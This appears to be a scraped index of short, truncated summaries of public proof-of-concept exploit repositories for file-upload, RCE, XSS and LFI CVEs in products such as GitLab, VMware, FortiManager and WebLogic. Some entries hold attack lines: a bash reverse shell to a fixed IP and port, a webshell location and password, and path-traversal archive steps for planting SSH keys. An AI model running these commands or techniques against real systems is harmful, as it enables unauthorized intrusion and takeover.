CVE-2020-29607-POC

Pluck CMS 4.7.13 Exploit de Carga de Archivos RCE 🚨 Exploit Educativo de Ejecución Remota de Código 🚨 Autor: Ron Jost Hacker5preme Referencia: Exploit-DB CVE: CVE-2020-29607 ⚠️ Aviso legal: Este script es solo para fines de pruebas educativas y autorizadas. No lo uses en sistemas que no te...

CVE-2025-65676

CVE-2025-65676 Vulnerabilidad de Cross Site Scripting XSS Almacenado en Classroomio LMS 0.1.13 que permite a atacantes autenticados ejecutar código arbitrario a través de imágenes de portada SVG manipuladas. Descubierto por: Rivek Raj Tamang RivuDon, Sikkim, India. Producto afectado: ClassroomIO...

Security Bulletin: IBM Guardium Data Protection is affected by multiple vulnerabilities (CVE-2024-53677, CVE-2025-23184)

Summary IBM Guardium Data Protection has addressed these vulnerabilities in an update. Vulnerability Details CVEID:CVE-2024-53677 DESCRIPTION: File upload logic in Apache Struts is flawed. An attacker can manipulate file upload params to enable paths traversal and under some circumstances this ca...

CVE-2023-40028

CVE-2023-40028: Explotación de Symlink en Ghost CMS PoC Resumen Este repositorio contiene un script Proof-of-Concept PoC diseñado para demostrar la explotación de CVE-2023-40028 , una vulnerabilidad de Inclusión de Archivos Locales LFI que afecta a Ghost CMS versiones anteriores a la 5.59.1. La...

CVE-2023-42791_CVE-2024-23666

Fortimanager insufficient authorization checks CVE-2024-23666 and unrestricted file upload CVE-2023-42791 exploitation scripts Two exploitation scripts leveraging these vulnerabilities are provided: rce.py: Provides a reverse shell or adds an arbitrary administrator from unprivileged access to th...

CVE-2022-29464

CVE-2022-29464 CVE-2022-29464 POC exploit Usage usage: exploit.py -h -u URL -l LIST -w WEBSHELL optional arguments: -h, --help show this help message and exit -u URL, --url URL Target url, http://localhost:9443 -l LIST, --list LIST List of target url saperated with new line -w WEBSHELL, --webshel...

HeimShell

HeimShell CVE-2023-51803 HeimShell is an exploit for CVE-2023-51803, leveraging an arbitrary file-upload vulnerability in LinuxServer.io Heimdall ≤ 2.5.6. It will auto-detect the target version and either warn of exploitability or remote fetch a php shell defined by SHELLURL ≤ 2.2.2 : Aribtrary...

CVE-2021-21978

CVE-2021-21978 Script de explotación con versión de eco, una forma más sencilla 0. Información de la vulnerabilidad La interfaz web de VMware View Planner tiene una entrada para cargar archivos de registro. No requiere autenticación y la ruta del archivo de registro escrito es controlable por el...

CVE-2022-39952_webshell

Write Behinderwebshell to target using CVE-2022-39952 File Address: https://xx.xx.xx.xx:8443/shell.jsp password:rebeyond Version used: Behinderv3.0 Script improvement from: https://github.com/horizon3ai/CVE-2022-39952...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell Versión probada Construir el comando para generar el exploit echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Usar djvumake para generar la imagen del exploit import os payloads= "echo 'bash -i &...

CVE-2013-3214

CVE-2013-3214 vTiger 5.4.0 Arbitrary File Upload to Remote Code Execution...

exploit-CVE-2018-15139

OpenEMR CVE-2018-15139 exploit OpenEMR --debug exploit.rb -h | --help Options: Root URL base path including HTTP scheme, port and root folder Filename of the shell to be uploaded Username of the admin Password of the admin --debug Display arguments -h, --help Show this screen Examples: exploit.rb...

CVE-2025-66837

CVE-2025-66837 Malicious File Upload Description A file upload vulnerability in ARIS allows attackers to execute arbitrary code via uploading a crafted PDF file/Malware CVSS Score: 6.8 Medium Attack Type Remote Authenticated Affected Versions Versions before 10.0.23.0.3587512 Discovered By: Yazan...

Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Stored-Cross-Site-Scripting

CVE-2021-46078 Exploit Title: Vehicle Service Management System - 'Multiple' File upload Leads to Stored Cross-Site Scripting Exploit Author: SANU P.L CVE: CVE-2021-46078 CVSS: 4.8 MEDIUM References:...

Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Code-Execution

CVE-2021-46076 Exploit Title: Vehicle Service Management System - 'Multiple' File upload Leads to Code Execution Exploit Author: SANU P.L CVE: CVE-2021-46076 CVSS: 8.8 HIGH References: https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-code-execution...

CVE-2021-42362

CVE-2021-42362 The WordPress Popular Posts WordPress plugin is vulnerable to arbitrary file uploads due to insufficient input file type validation found in the /src/Image.php file which makes it possible for attackers with contributor level access and above to upload malicious files that can be...

cve-2021-3164

Church Rota version 2.6.4 is vulnerable to authenticated remote code execution. The user does not need to have file upload permission in order to upload and execute an arbitrary file. After logging into Church Rota, send the following request, replacing with your PHPSESSID: POST...

opac-fast-automation

CVE-2025-65862 — Documentation, Analysis, and Automation Tool Research Purposes Only ⚠️ Ethical & Legal Warning All materials in this repository are provided solely for: security research, learning, vulnerability analysis, and testing in environments you own or have explicit permission to test...

CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 Tested against VMware VCSA 6.7 create ssh keypair ssh-keygen -t rsa -f vcsa.key -N '' create tarbal with ../../../../../home/vsphere-ui/.ssh/authorizedkeys python2 evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f evil.tar authorizedkeys mv evil.tar evil.ova uploa...

CVE-2017-10271

weblogicwlswsatrce Weblogic wls-wsat component deserialization vulnerability CVE-2017-10271 exploit script, modified fromhttps://github.com/s3xy/CVE-2017-10271. Command execution with echo output Direct shell upload Tested on Linux with weblogic 10.3.6.0 OK Usage and Parameters python...